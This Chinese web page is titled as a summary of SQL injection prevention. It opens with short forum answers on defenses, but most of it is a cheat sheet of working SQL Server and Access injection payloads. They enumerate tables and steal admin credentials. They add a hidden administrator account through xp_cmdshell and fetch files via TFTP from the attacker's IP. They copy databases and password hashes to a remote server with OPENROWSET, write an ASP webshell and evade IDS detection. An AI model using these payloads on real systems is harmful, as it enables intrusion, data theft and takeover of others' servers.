防止SQL语句注入攻击总结

-----解决方案--------------------------------------------------------
过滤URL中的一些特殊字符,动态SQL语句使用PrepareStatement..
------解决方案--------------------------------------------------------
注入的方式就是在查询条件里加入SQL字符串. 可以检查一下提交的查询参数里是否包含SQL,但通常这样无益.

最好的办法是不要用拼接SQL字符串,可以用prepareStatement,参数用set方法进行填装
------解决方案--------------------------------------------------------
sql注入形式:...where name="+name+",这样的sql语句很容易sql注入,可以这样:
jdbcTemplate.update("delete from userinfo where id=? and userId=?", new Object[]{userInfo.getId(),userInfo.getUserId()});
我的一些代码,望有用!
------解决方案--------------------------------------------------------
Sql注入漏洞攻击:如1'or'1'='1
使用参数化查询避免
cmd.CommandText="select count(*) from 表名 where username=@a and password=@b";
cmd.parameters.Add(new SqlParameter("a",".."));
cmd.parameters.Add(new SqlParameter("b",".."));
------解决方案--------------------------------------------------------
恩,用框架,用jpa的pojo。。就没这种事情了

SSH2架构中 怎么防止SQL注入呢?还有其他相关安全问题怎么设计呢?
目前的安全,只是对用户密码加密,前台jquery验证。
如何实现防止注入攻击还有我的页面有些隐藏域保存这当前登录用户的信息等信息。
用户查看页面源代码就可以查看到了。
有没好的解决方案呢?还有其他哪些要注意的地方呢?
Struts2 hibernate3 spring 3.0
sql server 2000 sp4

------解决方案--------------------------------------------------------
1:向 CA 购买证书,使用 HTTPS 进行通信,以保证在网络传输过程中是安全的
2:避免 XSS 注入(页面回显的 input text, input hidden 均过滤 <、>、"、' 等字符等)
3:使用随机键盘或者安全控件防止键盘木马记录用户的输入
4:若要在 Cookie 中写入数据,尽量使用 Cookie 的 HttpOnly 属性
5:响应中设置一些诸如 X-Frame-Options、X-XSS-Protection 等高版本浏览器支持的 HTTP 头
6: 不管客户端是否做过数据校验,在服务端必须要有数据校验(长度、格式、是否必填等等)
7: SQL 语句采用 PreparedStatement 的填充参数方式,严禁使用字符串拼接 SQL 或者 HQL 语句

再分享一些方法

1. 强制字符格式(类型)

在很多时候我们要用到类似xxx.php?id=xxx这样的URL,一般来说$id都是整型变量,为了防攻击者把$id篡改成攻击语句,要尽量强制变量,代码如下:

PHP防SQL注入的代码:

$id = intval ($_GET['id']);

当然,还有其它的变量类型,如果有必要的话尽量强制一下格式。

2. SQL语句中包含变量加引号

这一点很简单,但也容易养成相关,先来看看这两条SQL语句:

SQL代码:

SELECT * FROM article WHERE articleid = ‘$id’

SELECT * FROM article WHERE articleid = $id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,因此,我们要养成给SQL语句中变量加引号的习惯。

3. URL伪静态化

URL伪静态化也就是URL重写技术,像Discuz!一样,将所有的URL都rewrite成类似xxx-xxx-x.html格式,即有利于SEO,又达到了一定的安全性,也不失为一个好办法。但是想实现PHP防SQL注入,前提是你得有一定的“正则”基础。

4. 用PHP函数过滤与转义

PHP的SQL注入比较重要的一点就是GPC的设置问题,因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpc为On时,提交的变量中所有的 “ ‘ ”(单引号)、“ " ”(双引号)、“ ”(反斜线)和空字符都会自动转为含有反斜线的转义字符,给SQL注入带来不少的阻碍。

5. 用PHP的MySQL函数过滤与转义

PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数,可将特殊字符或可能引起数据库操作出错的字符转义。

那么这三个功能函数之间有什么区别呢?下面我们来详细讲述下:

① addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,称为一个有效的多字节字符,其中0xbf5c仍会被看做是单引号,所以addslashes无法成功拦截。

当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。

另外对于php手册中get_magic_quotes_gpc的举例:

if(!get_magic_quotes_gpc()){

  $lastname = addslashes($_POST['lastname']);

}else{

  $lastname = $_POST['lastname'];

}

 

常用的SQl注入语句分析

最好对magic_quotes_gpc已经打开的情况下,还是对$_POST['lastname']进行检查一下。

再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:

mysql_real_escape_string必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用mysql_escape_string。

mysql_real_escape_string考虑到连接的当前字符集,而mysql_escape_string不考虑。

 

discuz的防止sql注入就是用addslashes这个函数:

function daddslashes($string, $force = 0, $strip = FALSE) {

    if(!MAGIC_QUOTES_GPC || $force) {

        if(is_array($string)) {

            foreach($string as $key => $val) {

                $string[$key] = daddslashes($val, $force, $strip);

            }

        } else {

            $string = addslashes($strip ? stripslashes($string) : $string);

        }

    }

    return $string;

}

 

 

常用的sql注入方法

常用sql注入语句

1.判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<;返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users. id having 1=1--

group by users. id,users.username,users.password,users.privs having 1=1--

; insert into users values( 666,attacker,foobar,0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id)-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id,login_name)-

UNION SELECT TOP 1 login_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看服务器打的补丁=出错了打了SP4补丁 

and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

看xp_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe

/c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e:"--

访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊技巧::%5c= 或者把/和 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 来暴出其他的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。假设存在user_id username,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots,@value_name=/,

values=@testOUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 建立image类型的表cmd

存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell dir

;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

;exec master.dbo.sp_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--

;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_servicecontrol start,schedule 启动服务

exec master..xp_servicecontrol start,server

; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32

cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe

/c net localgroup administrators jiaoniang$ /add

; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:

;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查询构造:

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 显示有一个叫ffff的用户哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73),0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123,admin--,password,0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>;刚才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一个加一个])

[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:

开启远程数据库

基本语法

select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )

参数: (1) OLEDB Provider name

其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table

复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from

table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)

select * from user_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)

select * from user_database.dbo.syscolumns

复制数据库:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select

* from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法:先创建一个临时表:temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--

;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--

;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree适用权限PUBLIC)

写入表:

语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

语句9:and 1=(SELECT IS_MEMBER(db_owner));--

把路径写到表中去:

;create table dirs(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree c:--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree e:web--

and 0<>(select top 1 paths from dirs1)--

把数据库备份到网页目录:下载

;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=- wscript.shell example -=-

declare @o int

exec sp_oacreate wscript.shell,@o out

exec sp_oamethod @o,run,NULL,notepad.exe

; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--

declare @o int,@f int,@t int,@ret int

declare @line varchar(8000)

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,opentextfile,@f out,c:boot.ini,1

exec @ret = sp_oamethod @f,readline,@line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f,readline,@line out

end

declare @o int,@f int,@t int,@ret int

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1

exec @ret = sp_oamethod @f,writeline,NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int,@ret int

exec sp_oacreate speech.voicetext,@o out

exec sp_oamethod @o,register,NULL,foo,bar

exec sp_oasetproperty @o,speed,150

exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05

; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec

sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--

xp_dirtree适用权限PUBLIC

exec master.dbo.xp_dirtree c:

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100),id int)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_dirtree c:

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.

时间: 2024-12-03 15:19:49

防止SQL语句注入攻击总结的相关文章

php防止sql语句注入常用方法:过滤法

php防止sql语句注入常用方法:过滤法 <? $id=$_GET["id"]; $query="SELECT * FROM my_table where id='".$id."'"; //注入漏洞$result=mysql_query($query); 这里很明显我们可以用注入来获得数据库的其它内容了. 可以用下面的方法防止注入. 注入一样的,大家可以看看以前的黑防.然后我们看下面通过post方法获取变量的处理: $text1=$_POS

想做SQL语句注入实验,可以在JSP页面直接嵌入sql语句查询吗?

问题描述 想做SQL语句注入实验,可以在JSP页面直接嵌入sql语句查询吗? 我是名大三的学生,想请假各位大神,如果想做SQL语句注入实验,可以在JSP页面直接嵌入sql语句查询吗?还是使用ssh框架反应机制?还是其它的,有大神可以指教一下小弟吗?该课程是网络安全,主要就是想做sql语句注入检测网页漏洞的? 解决方案 直接建个环境做测试啊,网上这方面的课程很多. 解决方案二: 只要是页面有访问数据库操作的 都可以拿来做 SQL语句注入 解决方案三: 最简单的就是在页面上允许输入查询条件,在jsp

SQL注入攻击:防御和检查SQL注入的手段

虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施.知彼知己,方可取胜.首先要清楚SQL注入攻击有哪些种类. 观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. SQL注入攻击的种类 知彼知己,方可取胜.首先要清楚SQL注入攻击有哪些种类. 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤

批量替换sqlserver数据库挂马字段并防范sql注入攻击的代码

首先备份数据库,以防不必要的损失.而后对所有被挂马的小于8000字符的varchar字段执行 复制代码 代码如下: update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') 其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>为挂马字段.执行后挂马字段被清除.但是有部分字段,比

SQL注入攻击-来自微软安全博客的建议

本文翻译自微软博客上刊载的相关文章,英文原文版权归原作者所有,特此声明.原文:http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx近期趋势 从去年下半年开始,很多网站被损害,他们在用于生成动态网页的SQL数据库中存储的文本中被注入了恶意的HTML <script>标签.这样的攻击在2008年第一季度开始加速传播,并且持续影响有漏洞的Web程序.这些Web应用程序有这样一些共同点: 使用经典ASP代码的

防范SQL注入攻击的代码

攻击 SQL注入式攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql命令以及进行其他方式的攻击,动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因.比如: 如果你的查询语句是select * from admin where username='"&user&"' and password='"&pwd&"'" 那么,如果我的用户名是:1' or '1'='1 那么,你的查询语句将会变成:

PHP+SQL 注入攻击的技术实现以及预防办法

1. php 配置文件 php.ini 中的 magic_quotes_gpc 选项没有打开,被置为 off 2. 开发者没有对数据类型进行检查和转义 不过事实上,第二点最为重要.我认为, 对用户输入的数据类型进行检查,向 MYSQL 提交正确的数据类型,这应该是一个 web 程序员最最基本的素质.但现实中,常常有许多小白式的 Web 开发者忘了这点, 从而导致后门大开. 为什么说第二点最为重要?因为如果没有第二点的保证,magic_quotes_gpc 选项,不论为 on,还是为 off,都有

PHP与SQL注入攻击

攻击     SQL注入攻击是黑客攻击网站最常用的手段.如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击.SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除.下面来谈谈SQL注入攻击是如何实现的,又如何防范. 看这个例子: // supposed input$name = "ilia'; DELETE FROM users;";mysql_query("SELECT * FROM users WH

初级教程之SQL Injection(SQL注入攻击)

攻击|教程 因为目前SQL注入是非常热门而且技术门槛较低的攻击手段,并且非常实用,轻则可以拿到网站的一些帐号,比如拿到某个电影网站的黄金会员的帐号:重则利用其网站楼多入侵整个服务器等等. 这里打算作为一个专题讲解SQL及其注入.其中对于SQL不太明白的地方希望大家自己查资料.这个帖子将长期更新... 一,SQL纵览 SQL(Structured Query Language)语言是一种结构化查询语言.SQL语言中完成核心功能的共有9个关键词:SELECT(数据查询).CREAT.DROP.ALT